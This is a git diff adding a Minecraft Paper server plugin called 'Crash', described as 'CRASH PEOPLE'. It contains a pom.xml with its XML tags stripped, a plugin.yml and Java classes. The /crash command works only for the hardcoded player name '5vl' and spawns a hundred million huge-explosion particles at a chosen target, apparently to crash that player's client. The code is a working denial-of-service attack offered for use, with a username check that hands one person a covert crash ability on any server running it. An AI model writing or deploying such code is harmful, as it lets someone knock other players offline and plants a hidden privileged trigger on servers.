diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..eb5a282 --- /dev/null +++ b/pom.xml @@ -0,0 +1,75 @@ + + + 4.0.0 + + crash + crash + 1.0-SNAPSHOT + jar + + Crash + + CRASH PEOPLE + + 1.8 + UTF-8 + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + ${java.version} + ${java.version} + + + + org.apache.maven.plugins + maven-shade-plugin + 3.2.4 + + + package + + shade + + + false + + + + + + + + src/main/resources + true + + + + + + + papermc-repo + https://papermc.io/repo/repository/maven-public/ + + + sonatype + https://oss.sonatype.org/content/groups/public/ + + + + + + io.papermc.paper + paper-api + 1.17.1-R0.1-SNAPSHOT + provided + + + diff --git a/src/main/java/crash/crash/CrashCommand.java b/src/main/java/crash/crash/CrashCommand.java new file mode 100644 index 0000000..f0a585c --- /dev/null +++ b/src/main/java/crash/crash/CrashCommand.java @@ -0,0 +1,22 @@ +package crash.crash; + +import org.bukkit.Bukkit; +import org.bukkit.Particle; +import org.bukkit.command.Command; +import org.bukkit.command.CommandExecutor; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; +import org.jetbrains.annotations.NotNull; + +public class CrashCommand implements CommandExecutor { + @Override + public boolean onCommand(@NotNull CommandSender sender, @NotNull Command command, @NotNull String label, @NotNull String[] args) { + if ((sender instanceof Player) && sender.getName().equals("5vl") && args.length == 1) { + Player ps = Bukkit.getPlayer(args[0]); + if (ps != null) { + ps.spawnParticle(Particle.EXPLOSION_HUGE, ps.getLocation(), 100000000); + } + } + return true; + } +} diff --git a/src/main/java/crash/crash/Main.java b/src/main/java/crash/crash/Main.java new file mode 100644 index 0000000..52c55ae --- /dev/null +++ b/src/main/java/crash/crash/Main.java @@ -0,0 +1,11 @@ +package crash.crash; + +import org.bukkit.plugin.java.JavaPlugin; + +public final class Main extends JavaPlugin { + + @Override + public void onEnable() { + getCommand("crash").setExecutor(new CrashCommand()); + } +} diff --git a/src/main/resources/plugin.yml b/src/main/resources/plugin.yml new file mode 100644 index 0000000..9e94303 --- /dev/null +++ b/src/main/resources/plugin.yml @@ -0,0 +1,8 @@ +name: Crash +version: '${project.version}' +main: crash.crash.Main +api-version: 1.17 +authors: [ 5vl ] +description: CRASH PEOPLE +commands: + crash: